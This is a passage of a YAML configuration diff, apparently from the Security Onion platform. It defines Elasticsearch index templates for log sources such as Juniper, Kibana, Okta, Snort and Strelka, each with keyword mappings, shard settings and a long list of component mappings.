package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + - winlog-mappings + priority: 500 + so-juniper: + index_sorting: False + index_template: + index_patterns: + - so-juniper* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - juniper-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-kibana: + index_sorting: False + index_template: + index_patterns: + - so-kibana* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - kibana-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-kratos: + warm: 7 + close: 30 + delete: 365 + index_sorting: False + index_template: + index_patterns: + - so-kratos-* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - container-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-logstash: + index_sorting: False + index_template: + index_patterns: + - so-logstash* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - logstash-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-microsoft: + index_sorting: False + index_template: + index_patterns: + - so-microsoft* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - microsoft-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-misp: + index_sorting: False + index_template: + index_patterns: + - so-misp* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - misp-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-netflow: + index_sorting: False + index_template: + index_patterns: + - so-netflow* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - netflow-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-netscout: + index_sorting: False + index_template: + index_patterns: + - so-netscout* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-o365: + index_sorting: False + index_template: + index_patterns: + - so-o365* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - o365-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-okta: + index_sorting: False + index_template: + index_patterns: + - so-okta* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - okta-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-osquery: + index_sorting: False + index_template: + index_patterns: + - so-osquery* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + - winlog-mappings + priority: 500 + so-ossec: + index_sorting: False + index_template: + index_patterns: + - so-ossec* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + - winlog-mappings + priority: 500 + so-proofpoint: + index_sorting: False + index_template: + index_patterns: + - so-proofpoint* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-radware: + index_sorting: False + index_template: + index_patterns: + - so-radware* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-redis: + index_sorting: False + index_template: + index_patterns: + - so-redis* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - redis-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-snort: + index_sorting: False + index_template: + index_patterns: + - so-snort* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-snyk: + index_sorting: False + index_template: + index_patterns: + - so-snyk* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - snyk-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-sonicwall: + index_sorting: False + index_template: + index_patterns: + - so-sonicwall* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-sophos: + index_sorting: False + index_template: + index_patterns: + - so-sophos* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - sophos-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-squid: + index_sorting: False + index_template: + index_patterns: + - so-squid* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - dtc-process-mappings + - registry-mappings + - related-mappings + - rule-mappings + - dtc-rule-mappings + - server-mappings + - service-mappings + - dtc-service-mappings + - source-mappings + - dtc-source-mappings + - pb-override-source-mappings + - threat-mappings + - tls-mappings + - tracing-mappings + - url-mappings + - user_agent-mappings + - dtc-user_agent-mappings + - vulnerability-mappings + - common-settings + - common-dynamic-mappings + priority: 500 + so-strelka: + index_sorting: False + index_template: + index_patterns: + - so-strelka* + template: + mappings: + dynamic_templates: + - strings_as_keyword: + mapping: + ignore_above: 1024 + type: keyword + match_mapping_type: string + date_detection: false + settings: + index: + mapping: + total_fields: + limit: 5000 + sort: + field: "@timestamp" + order: desc + refresh_interval: 30s + number_of_shards: 1 + number_of_replicas: 0 + composed_of: + - agent-mappings + - dtc-agent-mappings + - base-mappings + - dtc-base-mappings + - client-mappings + - dtc-client-mappings + - cloud-mappings + - container-mappings + - data_stream-mappings + - destination-mappings + - dtc-destination-mappings + - pb-override-destination-mappings + - dll-mappings + - dns-mappings + - dtc-dns-mappings + - ecs-mappings + - dtc-ecs-mappings + - error-mappings + - event-mappings + - dtc-event-mappings + - file-mappings + - dtc-file-mappings + - so-file-mappings + - group-mappings + - host-mappings + - dtc-host-mappings + - http-mappings + - dtc-http-mappings + - log-mappings + - network-mappings + - dtc-network-mappings + - observer-mappings + - dtc-observer-mappings + - orchestrator-mappings + - organization-mappings + - package-mappings + - process-mappings + - 